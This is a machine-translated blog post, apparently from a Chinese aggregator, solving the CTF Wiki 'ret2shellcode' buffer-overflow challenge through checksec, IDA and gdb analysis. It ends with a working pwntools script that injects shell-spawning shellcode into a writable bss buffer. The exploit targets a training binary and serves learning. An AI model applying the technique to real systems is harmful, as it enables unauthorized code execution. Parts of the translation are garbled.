当前位置:网站首页>Learn PWN from CTF wiki - ret2shellcode
Learn PWN from CTF wiki - ret2shellcode
2022-07-02 03:07:00 【Big Ruida】
link : Configuration tool ,gdb,ida
ret2shellcode Answer key
checksec see :
no canary= You can simply stack overflow
NX disabled = take shellcode Put in the data segment , Can execute
ida see :
You can enter 100 Bytes , Copied to the buf2, Cannot overflow
original buf2 stay bss paragraph ,
bss paragraph : Generally, it refers to uninitialized or initialized as 0 An area of memory for global and static variables , It is characterized by reading and writing , Before the program is executed ,bss Duan Qing 0
Can it be implemented
gdb debugging :
gdb ret2shellcode
disas main
b main
r
vmmap
You can see 0804A080 This address is in the area selected above , Show rwxp You can read and write .
lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# You can know that the starting address of the string is different from esp by +0x1c
So distance ebp The address is 0x88-0x1c = 0x6C
Then the return address is overwritten :
+-----------------+
| /bin/sh | primary ret Return to position
+-----------------+
| holk | primary saved ebp Location (4 byte )
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s start ,ebp-0x6C-->+-----------------+
0x6C+4 = 112( Decimal system ) Bytes .
You know the number of overflow characters , Next look for system(/bin/sh)
Stack overflow problem , With the overflow character amount , With system(/bin/sh) That is to complete the topic , Unfortunately, Mu you …
It can be constructed by itself shellcode【system(/bin/sh)】
shellcode = asm(shellcraft.sh())
structure payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
边栏推荐
- Redis cluster
- 创业了...
- Tupu software has passed CMMI5 certification| High authority and high-level certification in the international software field
- [road of system analyst] collection of wrong topics in enterprise informatization chapter
- [staff] the direction of the symbol stem and the connecting line (the symbol stem faces | the symbol stem below the third line faces upward | the symbol stem above the third line faces downward | the
- Formatting logic of SAP ui5 currency amount display
- Just a few simple steps - start playing wechat applet
- Stdref and stdcref
- buu_ re_ crackMe
- Golang configure export goprivate to pull private library code
猜你喜欢
How to develop digital collections? How to develop your own digital collections
2022-2028 global wood vacuum coating machine industry research and trend analysis report
Verilog 时序控制
QT实现界面跳转
表单自定义校验规则
STM32__05—PWM控制直流电机
Verilog avoid latch
C reflection practice
Find duplicates [Abstract binary / fast and slow pointer / binary enumeration]
What is the principle of bone conduction earphones and who is suitable for bone conduction earphones
随机推荐
在QML中加载不同字体
verilog 并行块实现
/silicosis/geo/GSE184854_scRNA-seq_mouse_lung_ccr2/GSE184854_RAW/GSM5598265_matrix_inflection_demult
Missing numbers from 0 to n-1 (simple difficulty)
buu_ re_ crackMe
[road of system analyst] collection of wrong topics in enterprise informatization chapter
实现一个自定义布局的扫码功能
What kind of good and cost-effective Bluetooth sports headset to buy
What is the difference between an intermediate human resource manager and an intermediate economist (human resources direction)?
Principle of computer composition - interview questions for postgraduate entrance examination (review outline, key points and reference)
【无标题】
多线程查询,效率翻倍
Pychart creates new projects & loads faster & fonts larger & changes appearance
IPhone 6 plus is listed in Apple's "retro products" list
Verilog 避免 Latch
Is bone conduction earphone better than traditional earphones? The sound production principle of bone conduction earphones is popular science
Special symbols in SAP ui5 data binding syntax, and detailed explanation of absolute binding and relative binding concepts
C shallow copy and deep copy
使用 useDeferredValue 进行异步渲染
Mathematical calculation in real mode addressing